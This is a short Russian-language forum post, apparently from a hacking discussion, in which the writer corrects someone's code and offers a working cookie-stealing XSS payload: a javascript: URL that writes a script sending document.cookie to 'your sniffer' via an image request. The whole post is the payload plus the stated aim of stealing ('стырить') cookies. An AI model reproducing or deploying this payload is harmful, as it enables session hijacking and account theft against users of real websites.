Поправьте если я туплю но с тем кодом ничего нестырить, правильно врод так :
javascript:document.write('<script>img = new Image(); img.src = "ваш снифер?"+document.cookie;</script>')